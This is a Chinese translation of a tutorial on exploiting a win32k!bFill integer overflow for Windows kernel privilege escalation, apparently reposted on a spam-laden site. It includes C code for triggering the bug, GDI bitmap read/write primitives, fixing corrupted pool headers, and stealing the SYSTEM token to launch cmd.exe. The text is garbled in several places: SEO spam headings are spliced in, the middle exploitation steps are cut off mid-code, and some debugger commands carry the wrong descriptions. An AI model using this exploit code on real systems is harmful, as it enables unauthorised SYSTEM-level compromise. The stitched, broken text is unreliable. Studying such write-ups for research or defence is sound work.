应用程序错误提示_应用程序错误解决办法_plugin.exe应用程序错误怎么解决

翻译:Ox9A82

预估稿费:300RMB(不服你也来投稿啊!)

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿

前言

在我刚开始接触内核漏洞时我没有任何有关内核的经验,更不用说去利用内核漏洞了,但我总是对于逆向工程和漏洞利用技术非常感兴趣。

最初,我的想法很简单:找到一个目前还没有可用exploit的可利用漏洞的补丁,从它开始我的逆向工程以及利用的旅途。这篇文章里谈及的漏洞不是我的最早选的那个:那个测试失败了。这实际上是我的第二选择,我花费了4个月的时间来了解有关这个漏洞的一切。

我希望这篇博客可以帮到那些渴望了解逆向工程和exploit开发的人。这是一个漫长的过程,而我又是一个内核exploit开发方面的新手,所以我希望你在阅读这篇文章时能够保持耐心。

使用的工具

Expand.exe (用于MSU文件)

Virtual KD (他们说自己比正常的内核调试要快上45倍是真的)

Windbg (kd)

IDA professional.

Zynamics BinDiff IDA plugin.

Expand.exe的使用

Expand.exe可以用来从微软更新文件(MSU)和CAB文件中提取文件。

使用以下命令更新和提取CAB文件到指定目录:

12

Expand.exe -F:* [PATH TO MSU] [PATH TO EXTRACT TO] Expand.exe -F:* [PATH TO EXTRACTED CAB] [PATH TO EXTRACT TO]

如果命令后面接地址,会根据符号定义的结构进行dump

应用程序错误提示_plugin.exe应用程序错误怎么解决_应用程序错误解决办法

!pool,!poolfind和!poolused命令在我分析内核池溢出,进行内核池风水时帮了我很多。

一些有用的例子:

要dump指定地址的内核池页面布局,我们可以使用以下命令:

kd> !poolused [POOLTYPE] [POOLTAG]

要检索指定池类型中的指定池标记的对象的分配数量:

kd> !poolused [POOLTYPE] [POOLTAG]

要为指定的池标记搜索提供的池类型的完整分配的内核池地址空间。

kd> !poolfind [POOLTAG] [POOLTYPE]

Windbg使用技巧

相比其他调试器我个人更喜欢Windbg,因为它支持一些很有用的命令,特别是对于内核调试来说。

kd> dt [OBJECT SYMBOL NAME] [ADDR]

dt命令使用符号表定义的结构来dump内存,这在分析对象时非常有用,并且可以在对象的符号已导出时了解一些特殊的情况。

使用这个命令时如果不加地址那么会直接显示这个对象的结构。例如,要查看EPROCESS对象的结构,我们可以使用以下命令。

应用程序错误解决办法_应用程序错误提示_plugin.exe应用程序错误怎么解决

通过补丁对比来了解漏洞原理

下载好更新文件,我们打开后发现被修改了的文件是win32k.sys,版本是6.3.9600.18405。当与其旧版本6.3.9600.17393进行二进制对比时,我们使用的是IDA的Zynamics BinDiff插件。可以发现一个发生了更改的有趣函数的相似性评级是0.98。存在漏洞的函数是win32k!bFill。下面是两个版本之中的区别。

diff快速的展示出了一个整数溢出漏洞是如何通过加入一个UlongMult3函数来修补的,这个函数通过相乘来检测整数溢出。如果结果溢出了对象类型(即ULONG),则返回错误“INTSAFE_E_ARITHMETIC_OVERFLOW”。

这个函数被添加在调用PALLOCMEM2之前,PALLOCMEM2使用了一个经过检查的参数[rsp + Size]。这确认了这个整数溢出将导致分配小尺寸的对象; 那么问题是——这个值可以被用户通过某种方式控制吗?

当面临一个复杂问题的时候,建议先将它分解为更小的问题。 因为内核漏洞利用是一个大问题,所以一步一步进行似乎是一种好方法。步骤如下:

1.击中存在漏洞的函数

2.控制分配的大小

3.内核内存池(pool)Feng Shui技术

4.利用GDI位图对象(Bitmap GDI objects)

5.分析并且控制溢出

6.修复溢出的头部

7.从SYSTEM进程的内核进程对象(EPROCESS)中偷取表示权限的Token

8.成功得到SYSTEM权限

Step 1 –触发漏洞函数

首先,我们需要了解如何通过查看IDA中的函数定义来击中漏洞函数。可以看出,该函数在EPATHOBJ上起作用,并且函数名“bFill”说明它与填充路径有关。通过用谷歌搜索“msdn路径填充”,我得到了BeginPath函数和示例程序。

bFill@(struct EPATHOBJ *@, struct _RECTL *@, unsigned __int32@, void (__stdcall *)(struct _RECTL *, unsigned __int32, void *)@, void *)

理论上来说,如果我们使用示例中的代码,它应该会击中漏洞函数?

12345678910

// Get Device context of desktop hwndhdc = GetDC(NULL); //begin the drawing pathBeginPath(hdc); // draw a line between the supplied points.LineTo(hdc, nXStart + ((int) (flRadius * aflCos[i])), nYStart + ((int) (flRadius * aflSin[i]))); //End the pathEndPath(hdc);//Fill PathFillPath(hdc);

好吧,这没有实现。所以我在windbg中对每个函数的起始部分都添加了一个断点。

EngFastFill() -> bPaintPath() -> bEngFastFillEnum() -> Bfill()

再次运行示例代码,发现第一个函数被命中,然后不再继续命中最后的函数是EngFastFill。为了不让深入的逆向分析过程给读者增加无聊的细节,我们这里直接给出结论。简而言之,这个函数是一个switch case结构,将最终会调用bPaintPath,bBrushPath或bBrushPathN_8x8。到底调用哪个则取决于一个画刷对象(brush object)关联的hdc。上面的代码甚至没有执行到switch case,它在之前就失败了。我发现有四种设备上下文类型

打印机

显示,它是默认值

信息

内存,它支持对位图对象的绘制操作。

根据提供的信息,我尝试将设备类型转换为内存(位图)如下:

12345678910111213141516

// Get Device context of desktop hwndHDC hdc = GetDC(NULL);// Get a compatible Device Context to assign Bitmap toHDC hMemDC = CreateCompatibleDC(hdc);// Create Bitmap ObjectHGDIOBJ bitmap = CreateBitmap(0x5a, 0x1f, 1, 32, NULL);// Select the Bitmap into the Compatible DCHGDIOBJ bitobj = (HGDIOBJ)SelectObject(hMemDC, bitmap);//Begin pathBeginPath(hMemDC);// draw a line between the supplied points.LineTo(hdc, nXStart + ((int) (flRadius * aflCos[i])), nYStart + ((int) (flRadius * aflSin[i]))); // End the pathEndPath(hMemDC);// Fill the pathFillPath(hMemDC);

事实证明,这正是击中漏洞函数bFill所需要做的。

Step 2 – Controlling the Allocation Size:

来看看分配部分的代码

应用程序错误提示_应用程序错误解决办法_plugin.exe应用程序错误怎么解决

在调用分配函数之前,首先检查[rbx + 4](rbx是我们的第一个参数,即EPATHOBJ)的值是否大于0x14.如果大于,则这个值被乘以3就是这里导致的整数溢出。

lea ecx, [rax+rax*2];

溢出发生实际上有两个原因:一是这个值被转换到32位寄存器ecx中和二是[rax + rax * 2]意味着值被乘以3。通过一些计算,我们可以得出结论,要溢出这个函数的值需要是:

0xFFFFFFFF / 3 = 0x55555555

任何大于上面的值都可以溢出32位的寄存器。

0x55555556 * 3 = 0x100000002

然后,做完乘法的结果又向左移了4位,一般左移4位被认为等同于乘以2 ^ 4。

0x100000002 0x150) // if check succeeds we found our bitmap.}

如果一切都能按计划进行,我们就应该能够从内存中读取0x1000 bit。 下面有位图对象在溢出前后,标题,sizLBitmap和hdev成员溢出。

下面是一个位图对象在溢出前后的成员的值

当循环检测是哪个位图被执行时,会在几次调用GetBitmapBits之后发生崩溃。崩溃发生在PDEVOBJ:: bAlowSharedAcces函数中,当试图从地址0x0000000100000000(它是上面重写的位图对象的hdev成员)读取时。在分析时注意到位图对象有一个成员要么是NULL要么是指向的Gdev设备对象的指针,在这种情况下这个成员是指向设备对象的指针。

函数win32k!GreGetBitmapBits会调用NEEDGRELOCK::vLock,而这个函数会接着调用PDEVOBJ::bAllowSharedAccess。通过观察NEEDGRELOCK::vLock函数的反汇编,可以注意到这个函数使用PDEVOBJ只是为了调用PDEVOBJ::bAllowSharedAccess,如果这个函数的返回值为零,那么它将继续进行其他的检查,此后就没有再使用过PDEVOBJ了。

此外,在GreGetBitmapBits中,函数不检查NEEDGRELOCK::vlock的返回值,执行后,PDEVOBJ:: bAllowSharedAccess将尝试读取第一个功能块中的地址,如果读到的数据等于1,那么这个函数将以0值退出,而这是继续执行所要求的。

plugin.exe应用程序错误怎么解决_应用程序错误解决办法_应用程序错误提示

使用VirtualAlloc为此地址分配内存并将所有的字节都设置为1,将会无错误的退出函数。并且会回收GetBitmapBits使用的位图数据,整个过程不会发生崩溃。

12

VOID *fake = VirtualAlloc(0x0000000100000000, 0x100, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);memset(fake, 0x1, 0x100);

Step 6 – 修复被溢出的头部:

在这一点上,exploit能够读写大小为0xFFFFFFFF * 1 * 4的相邻内存,这足以到达下一页中的第二个相邻位图对象,并覆盖要用于在内核内存上进行任意读写的pvScan0地址。

当exploit退出时,我注意到有时在进程退出时会发生一些与池头有关的崩溃。解决这个问题的方案是使用GetBitmapbits,读取下一个区域(region)和位图对象的头,这些对象没有被覆盖,然后泄露一个可以在region对象中找到的内核地址,

计算被溢出覆盖的区域(region)对象的地址的方法是将泄漏出来的地址的最低字节置为空,这将提供给我们当前页的开始的地址,然后将倒数第二个低字节减去0x10,从当前页的起始减去0x1000,就可以得到前一页的开始地址。

1234

addr1[0x0] = 0;int u = addr1[0x1];u = u – 0x10;addr1[1] = u;

接下来要计算溢出的Bitmap对象的地址,记住region对象的大小为0xbc0,因此将在最后一步得到的地址的最低字节设置为0xc0,并将0xb加给倒数第二个最低字节,将获得发生溢出的位图对象的头部地址。

1234

ddr1[0] = 0xc0;int y = addr1[1];y = y + 0xb;addr1[1] = y;

然后,管理器(manager)位图对象通过SetBitmapBits覆写工作者位图对象的pvScan0成员为区域头的地址(region header)。然后,工作者(worker)位图被SetBitmapBits用来设置该地址指向的数据为在第一步骤中读取的头部数据。对于溢出的位图对象头也是这样。

1234567891011

void SetAddress(BYTE* address) {for (int i = 0; i < sizeof(address); i++) {bits[0xdf0 + i] = address[i];}SetBitmapBits(hManager, 0x1000, bits);}void WriteToAddress(BYTE* data) {SetBitmapBits(hWorker, sizeof(data), data);}SetAddress(addr1);WriteToAddress(Gh05);

Step 7 – 从EPROCESS对象中偷取Token:

这个过程起始于获取PsInitialSystemProcess全局变量的内核地址,这个指针指向EPROCESS列表中的第一个条目,该指针由ntoskrnl.exe导出。

123456789101112131415161718192021222324252627

// Get base of ntoskrnl.exeULONG64 GetNTOsBase(){ULONG64 Bases[0x1000];DWORD needed = 0;ULONG64 krnlbase = 0;if (EnumDeviceDrivers((LPVOID *)&Bases, sizeof(Bases), &needed)) {krnlbase = Bases[0];}return krnlbase;}// Get EPROCESS for System processULONG64 PsInitialSystemProcess(){// load ntoskrnl.exeULONG64 ntos = (ULONG64)LoadLibrary(“ntoskrnl.exe”);// get address of exported PsInitialSystemProcess variableULONG64 addr = (ULONG64)GetProcAddress((HMODULE)ntos, “PsInitialSystemProcess”);FreeLibrary((HMODULE)ntos);ULONG64 res = 0;ULONG64 ntOsBase = GetNTOsBase();// subtract addr from ntos to get PsInitialSystemProcess offset from baseif (ntOsBase) {ReadFromAddress(addr – ntos + ntOsBase, (BYTE *)&res, sizeof(ULONG64));}return res;}

PsInitalSystemProcess(译注:作者起一样的名字不怕歧义?这里指的是上面代码中的函数)会把ntoskrnl.exe加载到内存中,并使用GetProcAddress获取导出的PsInitialSystemProcess的地址,然后使用EnumDeviceDrivers()函数获取内核基址。把PsInitialSystemProcess的值减去内核加载基址,就可以得到一个偏移量,将此偏移量加到检索到的内核基址上就可以得到PsInitialSystemProcess指针的内核地址。

1234567891011121314151617181920212223242526

LONG64 PsGetCurrentProcess(){ULONG64 pEPROCESS = PsInitialSystemProcess();// get System EPROCESS// walk ActiveProcessLinks until we find our PidLIST_ENTRY ActiveProcessLinks;ReadFromAddress(pEPROCESS + gConfig。UniqueProcessIdOffset + sizeof(ULONG64), (BYTE *)&ActiveProcessLinks, sizeof(LIST_ENTRY));ULONG64 res = 0;while (TRUE) {ULONG64 UniqueProcessId = 0;// adjust EPROCESS pointer for next entrypEPROCESS = (ULONG64)(ActiveProcessLinks。Flink) – gConfig。UniqueProcessIdOffset – sizeof(ULONG64);// get pidReadFromAddress(pEPROCESS + gConfig。

UniqueProcessIdOffset, (BYTE *)&UniqueProcessId, sizeof(ULONG64));// is this our pid?if (GetCurrentProcessId() == UniqueProcessId) {res = pEPROCESS;break;}// get next entryReadFromAddress(pEPROCESS + gConfig。UniqueProcessIdOffset + sizeof(ULONG64), (BYTE *)&ActiveProcessLinks, sizeof(LIST_ENTRY));// if next same as last, we reached the endif (pEPROCESS == (ULONG64)(ActiveProcessLinks。Flink) – gConfig。UniqueProcessIdOffset – sizeof(ULONG64))break;}return res;}

然后,它将使用管理器(manager)和工作者(worker)位图来遍历EPROCESS列表,查找列表中的当前进程。找到之后,会通过位图从EPROCESS列表中的第一个条目读取SYSTEM的Token,在EPROCESS列表中写入当前的进程。

12345678910111213

// get System EPROCESSULONG64 SystemEPROCESS = PsInitialSystemProcess();//fprintf(stdout, “rn%xrn”, SystemEPROCESS);ULONG64 CurrentEPROCESS = PsGetCurrentProcess();//fprintf(stdout, “rn%xrn”, CurrentEPROCESS);ULONG64 SystemToken = 0;// read token from system processReadFromAddress(SystemEPROCESS + gConfig.TokenOffset, (BYTE *)&SystemToken, 0x8);// write token to current processULONG64 CurProccessAddr = CurrentEPROCESS + gConfig.TokenOffset;SetAddress((BYTE *)&CurProccessAddr);WriteToAddress((BYTE *)&SystemToken);// Done and done. We’re System :)

Step 8 – SYSTEM !!

现在,当前的进程就拥有了SYSTEM令牌,并且会以SYSTEM权限执行。

system(“cmd.exe”);

应用程序错误解决办法_应用程序错误提示_plugin.exe应用程序错误怎么解决

本文示例的下载地址:

References

[1]

[2]

[3] (v=vs.85).aspx

[4]

[5] Using Paths Example: (v=vs.85).aspx

[6] Device Context Types: (v=vs.85).aspx

[7] Memory Device Context: (v=vs.85).aspx

[8]

[9]

[10] Windows Kernel Exploitation : This Time Font hunt you down in 4 bytes – Keen Team:

[11] Windows Graphics Programming: Win32 GDI and DirectDraw:

[12] Abusing GDI objects for ring0 exploit primitives reloaded:

限时特惠:本站每日持续更新海量各大内部网赚创业教程,会员可以下载全站资源点击查看详情
站长微信:11082411

声明:本站所有文章,如无特殊说明或标注,均为本站原创发布。任何个人或组织,在未征得本站同意时,禁止复制、盗用、采集、发布本站内容到任何网站、书籍等各类媒体平台。如若本站内容侵犯了原著者的合法权益,可联系我们进行处理。